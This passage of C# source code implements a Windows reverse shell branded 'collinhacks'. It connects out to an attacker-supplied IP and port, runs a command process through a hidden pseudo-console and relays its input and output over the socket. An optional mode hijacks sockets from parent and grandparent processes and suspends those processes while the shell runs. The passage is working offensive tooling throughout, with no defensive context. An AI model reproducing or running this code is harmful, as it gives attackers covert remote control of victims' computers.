        private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016;
        private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
        private const int STARTF_USESTDHANDLES = 0x00000100;
        private const int BUFFER_SIZE_PIPE = 1048576;
        private const int WSA_FLAG_OVERLAPPED = 0x1;
        private const UInt32 INFINITE = 0xFFFFFFFF;
        private const int SW_HIDE = 0;
        private const uint GENERIC_READ = 0x80000000;
        private const uint GENERIC_WRITE = 0x40000000;
        private const uint FILE_SHARE_READ = 0x00000001;
        private const uint FILE_SHARE_WRITE = 0x00000002;
        private const uint FILE_ATTRIBUTE_NORMAL = 0x80;
        private const uint OPEN_EXISTING = 3;
        private const int STD_INPUT_HANDLE = -10;
        private const int STD_OUTPUT_HANDLE = -11;
        private const int STD_ERROR_HANDLE = -12;
        private const int WSAEWOULDBLOCK = 10035;
        private const int FD_READ = (1 << 0);
    
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        private struct STARTUPINFOEX
        {
            public STARTUPINFO StartupInfo;
            public IntPtr lpAttributeList;
        }
    
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        private struct STARTUPINFO
        {
            public Int32 cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        private struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        private struct SECURITY_ATTRIBUTES
        {
            public int nLength;
            public IntPtr lpSecurityDescriptor;
            public int bInheritHandle;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        private struct COORD
        {
            public short X;
            public short Y;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        private struct WSAData
        {
            public short wVersion;
            public short wHighVersion;
            public short iMaxSockets;
            public short iMaxUdpDg;
            public IntPtr lpVendorInfo;
            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
            public string szDescription;
            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
            public string szSystemStatus;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        private struct SOCKADDR_IN
        {
            public short sin_family;
            public short sin_port;
            public uint sin_addr;
            public long sin_zero;
        }
    
        [DllImport("kernel32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
    
        [DllImport("kernel32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
    
        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "CreateProcess")]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool CreateProcessEx(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
    
        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "CreateProcess")]
        private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
    
        [DllImport("kernel32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
    
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
    
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern IntPtr GetStdHandle(int nStdHandle);
    
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool CloseHandle(IntPtr hObject);
    
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize);
    
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
        private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
    
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped);
    
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped);
    
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern int CreatePseudoConsole(COORD size, IntPtr hInput, IntPtr hOutput, uint dwFlags, out IntPtr phPC);
    
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern int ClosePseudoConsole(IntPtr hPC);
    
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool SetConsoleMode(IntPtr hConsoleHandle, uint mode);
    
        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern bool GetConsoleMode(IntPtr handle, out uint mode);
    
        [DllImport("kernel32.dll")]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool AllocConsole();
    
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        private static extern bool FreeConsole();
    
        [DllImport("user32.dll")]
        private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    
        [DllImport("kernel32.dll")]
        private static extern IntPtr GetConsoleWindow();
    
        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);
    
        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    
        [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
        private static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags);
    
        [DllImport("ws2_32.dll", SetLastError = true)]
        private static extern int connect(IntPtr s, ref SOCKADDR_IN addr, int addrsize);
    
        [DllImport("ws2_32.dll", SetLastError = true)]
        private static extern ushort htons(ushort hostshort);
    
        [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
        private static extern uint inet_addr(string cp);
    
        [DllImport("ws2_32.dll", CharSet = CharSet.Auto)]
        private static extern Int32 WSAGetLastError();
    
        [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData);
    
        [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        private static extern int closesocket(IntPtr s);
    
        [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern int recv(IntPtr Socket, byte[] buf, int len, uint flags);
    
        [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern int send(IntPtr Socket, byte[] buf, int len, uint flags);
    
        [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr WSACreateEvent();
    
        [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern int WSAEventSelect(IntPtr s, IntPtr hEventObject, int lNetworkEvents);
    
        [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern int WSAWaitForMultipleEvents(int cEvents, IntPtr[] lphEvents, bool fWaitAll, int dwTimeout, bool fAlertable);
    
        [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern bool WSAResetEvent(IntPtr hEvent);
    
        [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern bool WSACloseEvent(IntPtr hEvent);
    
        [DllImport("ntdll.dll")]
        private static extern uint NtSuspendProcess(IntPtr processHandle);
    
        [DllImport("ntdll.dll")]
        private static extern uint NtResumeProcess(IntPtr processHandle);
    
        private static void InitWSAThread()
        {
            WSAData data;
            if (WSAStartup(2 << 8 | 2, out data) != 0)
                throw new collinhacksException(String.Format("WSAStartup failed with error code: {0}", WSAGetLastError()));
        }
    
        private static IntPtr connectRemote(string remoteIp, int remotePort)
        {
            int port = 0;
            int error = 0;
            string host = remoteIp;
    
            try
            {
                port = Convert.ToInt32(remotePort);
            }
            catch
            {
                throw new collinhacksException("Specified port is invalid: " + remotePort.ToString());
            }
    
            IntPtr socket = IntPtr.Zero;
            socket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, WSA_FLAG_OVERLAPPED);
            SOCKADDR_IN sockinfo = new SOCKADDR_IN();
            sockinfo.sin_family = (short)2;
            sockinfo.sin_addr = inet_addr(host);
            sockinfo.sin_port = (short)htons((ushort)port);
    
            if (connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0)
            {
                error = WSAGetLastError();
                throw new collinhacksException(String.Format("WSAConnect failed with error code: {0}", error));
            }
    
            return socket;
        }
    
        private static void TryParseRowsColsFromSocket(IntPtr shellSocket, ref uint rows, ref uint cols)
        {
            Thread.Sleep(500);//little tweak for slower connections
            byte[] received = new byte[100];
            int rowsTemp, colsTemp;
            int bytesReceived = recv(shellSocket, received, 100, 0);
            try
            {
                string sizeReceived = Encoding.ASCII.GetString(received, 0, bytesReceived);
                string rowsString = sizeReceived.Split(' ')[0].Trim();
                string colsString = sizeReceived.Split(' ')[1].Trim();
                if (Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp))
                {
                    rows = (uint)rowsTemp;
                    cols = (uint)colsTemp;
                }
            }
            catch
            {
                return;
            }
        }
    
        private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWrite, ref IntPtr OutputPipeRead, ref IntPtr OutputPipeWrite)
        {
            SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
            pSec.nLength = Marshal.SizeOf(pSec);
            pSec.bInheritHandle = 1;
            pSec.lpSecurityDescriptor = IntPtr.Zero;
            if (!CreatePipe(out InputPipeRead, out InputPipeWrite, ref pSec, BUFFER_SIZE_PIPE))
                throw new collinhacksException("Could not create the InputPipe");
            if (!CreatePipe(out OutputPipeRead, out OutputPipeWrite, ref pSec, BUFFER_SIZE_PIPE))
                throw new collinhacksException("Could not create the OutputPipe");
        }
    
        private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr)
        {
            oldStdIn = GetStdHandle(STD_INPUT_HANDLE);
            oldStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
            oldStdErr = GetStdHandle(STD_ERROR_HANDLE);
            IntPtr hStdout = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
            IntPtr hStdin = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
            SetStdHandle(STD_OUTPUT_HANDLE, hStdout);
            SetStdHandle(STD_ERROR_HANDLE, hStdout);
            SetStdHandle(STD_INPUT_HANDLE, hStdin);
        }
    
        private static void RestoreStdHandles(IntPtr oldStdIn, IntPtr oldStdOut, IntPtr oldStdErr)
        {
            SetStdHandle(STD_OUTPUT_HANDLE, oldStdOut);
            SetStdHandle(STD_ERROR_HANDLE, oldStdErr);
            SetStdHandle(STD_INPUT_HANDLE, oldStdIn);
        }
    
        private static void EnableVirtualTerminalSequenceProcessing()
        {
            uint outConsoleMode = 0;
            IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
            if (!GetConsoleMode(hStdOut, out outConsoleMode))
            {
                throw new collinhacksException("Could not get console mode");
            }
            outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN;
            if (!SetConsoleMode(hStdOut, outConsoleMode))
            {
                throw new collinhacksException("Could not enable virtual terminal processing");
            }
        }
    
        private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols)
        {
            int result = -1;
            EnableVirtualTerminalSequenceProcessing();
            COORD consoleCoord = new COORD();
            consoleCoord.X = (short)cols;
            consoleCoord.Y = (short)rows;
            result = CreatePseudoConsole(consoleCoord, ConPtyInputPipeRead, ConPtyOutputPipeWrite, 0, out handlePseudoConsole);
            return result;
        }
    
        private static STARTUPINFOEX ConfigureProcessThread(IntPtr handlePseudoConsole, IntPtr attributes)
        {
            IntPtr lpSize = IntPtr.Zero;
            bool success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
            if (success || lpSize == IntPtr.Zero)
            {
                throw new collinhacksException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error());
            }
            STARTUPINFOEX startupInfo = new STARTUPINFOEX();
            startupInfo.StartupInfo.cb = Marshal.SizeOf(startupInfo);
            startupInfo.lpAttributeList = Marshal.AllocHGlobal(lpSize);
            success = InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, ref lpSize);
            if (!success)
            {
                throw new collinhacksException("Could not set up attribute list. " + Marshal.GetLastWin32Error());
            }
            success = UpdateProcThreadAttribute(startupInfo.lpAttributeList, 0, attributes, handlePseudoConsole, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);
            if (!success)
            {
                throw new collinhacksException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error());
            }
            return startupInfo;
        }
    
        private static PROCESS_INFORMATION RunProcess(ref STARTUPINFOEX sInfoEx, string commandLine)
        {
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
            SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
            int securityAttributeSize = Marshal.SizeOf(pSec);
            pSec.nLength = securityAttributeSize;
            SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
            tSec.nLength = securityAttributeSize;
            bool success = CreateProcessEx(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo);
            if (!success)
            {
                throw new collinhacksException("Could not create process. " + Marshal.GetLastWin32Error());
            }
            return pInfo;
        }
    
        private static PROCESS_INFORMATION CreateChildProcessWithPseudoConsole(IntPtr handlePseudoConsole, string commandLine)
        {
            STARTUPINFOEX startupInfo = ConfigureProcessThread(handlePseudoConsole, (IntPtr)PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE);
            PROCESS_INFORMATION processInfo = RunProcess(ref startupInfo, commandLine);
            return processInfo;
        }
    
        private static void ThreadReadPipeWriteSocketOverlapped(object threadParams)
        {
            object[] threadParameters = (object[])threadParams;
            IntPtr OutputPipeRead = (IntPtr)threadParameters[0];
            IntPtr shellSocket = (IntPtr)threadParameters[1];
            int bufferSize = 8192;
            bool readSuccess = false;
            Int32 bytesSent = 0;
            uint dwBytesRead = 0;
            do
            {
                byte[] bytesToWrite = new byte[bufferSize];
                readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero);
                bytesSent = send(shellSocket, bytesToWrite, (int)dwBytesRead, 0);
            } while (bytesSent > 0 && readSuccess);
            // Console.WriteLine("debug: bytesSent = " + bytesSent + " WSAGetLastError() = " + WSAGetLastError().ToString());
        }
    
        private static void ThreadReadPipeWriteSocketNonOverlapped(object threadParams)
        {
            object[] threadParameters = (object[])threadParams;
            IntPtr OutputPipeRead = (IntPtr)threadParameters[0];
            IntPtr shellSocket = (IntPtr)threadParameters[1];
            int bufferSize = 8192;
            bool readSuccess = false;
            Int32 bytesSent = 0;
            uint dwBytesRead = 0;
            do
            {
                byte[] bytesToWrite = new byte[bufferSize];
                readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero);
                // Console.WriteLine("debug ThreadReadPipeWriteSocket ReadFile: dwBytesRead = " + dwBytesRead + " Marshal.GetLastWin32Error() " + Marshal.GetLastWin32Error());
                do
                {
                    bytesSent = send(shellSocket, bytesToWrite, (int)dwBytesRead, 0);
                    // Console.WriteLine("debug ThreadReadPipeWriteSocket send: bytesSent = " + bytesSent + " WSAGetLastError() = " + WSAGetLastError().ToString());
                } while (WSAGetLastError() == WSAEWOULDBLOCK);
            } while (bytesSent > 0 && readSuccess);
        }
    
        private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, IntPtr shellSocket, bool overlappedSocket)
        {
            object[] threadParameters = new object[2];
            threadParameters[0] = OutputPipeRead;
            threadParameters[1] = shellSocket;
            Thread thThreadReadPipeWriteSocket;
            if(overlappedSocket)
                thThreadReadPipeWriteSocket = new Thread(ThreadReadPipeWriteSocketOverlapped);
            else
                thThreadReadPipeWriteSocket = new Thread(ThreadReadPipeWriteSocketNonOverlapped);
            thThreadReadPipeWriteSocket.Start(threadParameters);
            return thThreadReadPipeWriteSocket;
        }
    
        private static void ThreadReadSocketWritePipeOverlapped(object threadParams)
        {
            object[] threadParameters = (object[])threadParams;
            IntPtr InputPipeWrite = (IntPtr)threadParameters[0];
            IntPtr shellSocket = (IntPtr)threadParameters[1];
            IntPtr hChildProcess = (IntPtr)threadParameters[2];
            int bufferSize = 8192;
            bool writeSuccess = false;
            Int32 nBytesReceived = 0;
            uint bytesWritten = 0;
            do
            {
                byte[] bytesReceived = new byte[bufferSize];
                nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0);
                writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero);
            } while (nBytesReceived > 0 && writeSuccess);
            //  Console.WriteLine("debug: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString());
            TerminateProcess(hChildProcess, 0);
        }
    
        private static void ThreadReadSocketWritePipeNonOverlapped(object threadParams)
        {
            object[] threadParameters = (object[])threadParams;
            IntPtr InputPipeWrite = (IntPtr)threadParameters[0];
            IntPtr shellSocket = (IntPtr)threadParameters[1];
            IntPtr hChildProcess = (IntPtr)threadParameters[2];
            int bufferSize = 8192;
            bool writeSuccess = false;
            Int32 nBytesReceived = 0;
            uint bytesWritten = 0;
            bool socketBlockingOperation = false;
            IntPtr wsaReadEvent = WSACreateEvent();
            // we expect the socket to be non-blocking at this point. we create an asynch event to be signaled when the recv operation is ready to get some data
            WSAEventSelect(shellSocket, wsaReadEvent, FD_READ);
            IntPtr[] wsaEventsArray = new IntPtr[] { wsaReadEvent };
            do
            {
                byte[] bytesReceived = new byte[bufferSize];
                WSAWaitForMultipleEvents(wsaEventsArray.Length, wsaEventsArray, true, 500, false);
                nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0);
                // we still check WSAEWOULDBLOCK for a more robust implementation
                if (WSAGetLastError() == WSAEWOULDBLOCK)
                {
                    socketBlockingOperation = true;
                    continue;
                }
                WSAResetEvent(wsaReadEvent);
                socketBlockingOperation = false;
                // Console.WriteLine("debug: ThreadReadSocketWritePipe recv: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString());
                writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero);
                // Console.WriteLine("debug ThreadReadSocketWritePipe WriteFile: bytesWritten = " + bytesWritten + " Marshal.GetLastWin32Error() = " + Marshal.GetLastWin32Error());
            } while (socketBlockingOperation || (nBytesReceived > 0 && writeSuccess));
            WSACloseEvent(wsaReadEvent);
            TerminateProcess(hChildProcess, 0);
        }
    
        private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, IntPtr shellSocket, IntPtr hChildProcess, bool overlappedSocket)
        {
            object[] threadParameters = new object[3];
            threadParameters[0] = InputPipeWrite;
            threadParameters[1] = shellSocket;
            threadParameters[2] = hChildProcess;
            Thread thReadSocketWritePipe;
            if(overlappedSocket)
                thReadSocketWritePipe = new Thread(ThreadReadSocketWritePipeOverlapped);
            else
                thReadSocketWritePipe = new Thread(ThreadReadSocketWritePipeNonOverlapped);
            thReadSocketWritePipe.Start(threadParameters);
            return thReadSocketWritePipe;
        }
    
        public static string Spawncollinhacks(string remoteIp, int remotePort, uint rows, uint cols, string commandLine, bool upgradeShell)
        {
            IntPtr shellSocket = IntPtr.Zero;
            IntPtr InputPipeRead = IntPtr.Zero;
            IntPtr InputPipeWrite = IntPtr.Zero;
            IntPtr OutputPipeRead = IntPtr.Zero;
            IntPtr OutputPipeWrite = IntPtr.Zero;
            IntPtr handlePseudoConsole = IntPtr.Zero;
            IntPtr oldStdIn = IntPtr.Zero;
            IntPtr oldStdOut = IntPtr.Zero;
            IntPtr oldStdErr = IntPtr.Zero;
            bool newConsoleAllocated = false;
            bool parentSocketInherited = false;
            bool grandParentSocketInherited = false;
            bool conptyCompatible = false;
            bool IsSocketOverlapped = true;
            string output = "";
            Process currentProcess = null;
            Process parentProcess = null;
            Process grandParentProcess = null;
            if (GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") != IntPtr.Zero)
                conptyCompatible = true;
            PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION();
            CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite);
            // comment the below function to debug errors
            InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr);
            // init wsastartup stuff for this thread
            InitWSAThread();
            if (conptyCompatible)
            {
                Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell\r\n");
                if (upgradeShell)
                {
                    List<IntPtr> socketsHandles = new List<IntPtr>();
                    currentProcess = Process.GetCurrentProcess();
                    parentProcess = ParentProcessUtilities.GetParentProcess(currentProcess.Handle);
                    if (parentProcess != null) grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle);
                    // try to duplicate the socket for the current process
                    shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess, ref IsSocketOverlapped);
                    if (shellSocket == IntPtr.Zero && parentProcess != null)
                    {
                        // if no sockets are found in the current process we try to hijack our current parent process socket
                        shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess, ref IsSocketOverlapped);
                        if (shellSocket == IntPtr.Zero && grandParentProcess != null)
                        {
                            // damn, even the parent process has no usable sockets, let's try a last desperate attempt in the grandparent process
                            shellSocket = SocketHijacking.DuplicateTargetProcessSocket(grandParentProcess, ref IsSocketOverlapped);
                            if (shellSocket == IntPtr.Zero)
                            {
                                throw new collinhacksException("No \\Device\\Afd objects found. Socket duplication failed.");
                            }
                            else
                            {
                                grandParentSocketInherited = true;
                            }
                        }
                        else
                        {
                            // gotcha a usable socket from the parent process, let's see if the grandParent also use the socket
                            parentSocketInherited = true;
                            if (grandParentProcess != null) grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess);
                        }
                    }
                    else
                    {
                        // the current process got a usable socket, let's see if the parents use the socket
                        if (parentProcess != null) parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess);
                        if (grandParentProcess != null) grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess);
                    }
                }
                else
                {
                    shellSocket = connectRemote(remoteIp, remotePort);
                    if (shellSocket == IntPtr.Zero)
                    {
                        output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString());
                        return output;
                    }
                    TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols);
                }
                if (GetConsoleWindow() == IntPtr.Zero)
                {
                    AllocConsole();
                    ShowWindow(GetConsoleWindow(), SW_HIDE);
                    newConsoleAllocated = true;
                }
                // debug code for checking handle duplication
                // Console.WriteLine("debug: Creating pseudo console...");
                // Thread.Sleep(180000);
                // return "";
                int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols);
                if (pseudoConsoleCreationResult != 0)
                {
                    output += string.Format("{0}Could not create psuedo console. Error Code {1}", errorString, pseudoConsoleCreationResult.ToString());
                    return output;
                }
                childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine);
            }
            else
            {
                if (upgradeShell)
                {
                    output += string.Format("Could not upgrade shell to fully interactive because ConPTY is not compatible on this system");
                    return output;
                }
                shellSocket = connectRemote(remoteIp, remotePort);
                if (shellSocket == IntPtr.Zero)
                {
                    output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString());
                    return output;
                }
                Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n");
                STARTUPINFO sInfo = new STARTUPINFO();
                sInfo.cb = Marshal.SizeOf(sInfo);
                sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES;
                sInfo.hStdInput = InputPipeRead;
                sInfo.hStdOutput = OutputPipeWrite;
                sInfo.hStdError = OutputPipeWrite;
                CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo);
            }
            // Note: We can close the handles to the PTY-end of the pipes here
            // because the handles are dup'ed into the ConHost and will be released
            // when the ConPTY is destroyed.
            if (InputPipeRead != IntPtr.Zero) CloseHandle(InputPipeRead);
            if (OutputPipeWrite != IntPtr.Zero) CloseHandle(OutputPipeWrite);
            if (upgradeShell) {
                // we need to suspend other processes that can interact with the duplicated sockets if any. This will ensure stdin, stdout and stderr is read/write only by our conpty process
                if (parentSocketInherited) NtSuspendProcess(parentProcess.Handle);
                if (grandParentSocketInherited) NtSuspendProcess(grandParentProcess.Handle);
                if (!IsSocketOverlapped) SocketHijacking.SetSocketBlockingMode(shellSocket, 1);
            }
            //Threads have better performance than Tasks
            Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket, IsSocketOverlapped);
            Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess, IsSocketOverlapped);
            // wait for the child process until exit
            WaitForSingleObject(childProcessInfo.hProcess, INFINITE);
            //cleanup everything
            thThreadReadPipeWriteSocket.Abort();
            thReadSocketWritePipe.Abort();
            if (upgradeShell)
            {
                if (!IsSocketOverlapped)
                {
                    // cancelling the event selection for the socket
                    WSAEventSelect(shellSocket, IntPtr.Zero, 0);
                    SocketHijacking.SetSocketBlockingMode(shellSocket, 0);
                }
                if (parentSocketInherited) NtResumeProcess(parentProcess.Handle);
                if (grandParentSocketInherited) NtResumeProcess(grandParentProcess.Handle);
            }
            closesocket(shellSocket);
            RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr);
            if (newConsoleAllocated)
                FreeConsole();
            CloseHandle(childProcessInfo.hThread);
            CloseHandle(childProcessInfo.hProcess);
            if (handlePseudoConsole != IntPtr.Zero) ClosePseudoConsole(handlePseudoConsole);
            if (InputPipeWrite != IntPtr.Zero) CloseHandle(InputPipeWrite);
            if (OutputPipeRead != IntPtr.Zero) CloseHandle(OutputPipeRead);
            output += "collinhacks kindly exited.\r\n";
            return output;
        }
    }
    
    public static class collinhacksMainClass
    {
        private static string help = @"";
    
        private static bool HelpRequired(string param)
        {
            return param == "-h" || param == "--help" || param == "/?";
        }
    
        private static void CheckArgs(string[] arguments)
        {
            if (arguments.Length < 2)
                throw new collinhacksException("\r\ncollinhacks: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n");
        }
    
        private static void DisplayHelp()
        {
            Console.Out.Write(help);
        }
    
        private static string CheckRemoteIpArg(string ipString)
        {
            IPAddress address;
            if (!IPAddress.TryParse(ipString, out address))
                throw new collinhacksException("\r\ncollinhacks: Invalid remoteIp value" + ipString);
            return ipString;
        }
    
        private static int CheckInt(string arg)
        {
            int ret = 0;
            if (!Int32.TryParse(arg, out ret))
                throw new collinhacksException("\r\ncollinhacks: Invalid integer value " + arg);
            return ret;
        }
    
        private static uint ParseRows(string[] arguments)
        {
            uint rows = 24;
            if (arguments.Length > 2)
                rows = (uint)CheckInt(arguments[2]);
            return rows;
        }
    
        private static uint ParseCols(string[] arguments)
        {
            uint cols = 80;
            if (arguments.Length > 3)
                cols = (uint)CheckInt(arguments[3]);
            return cols;
        }
    
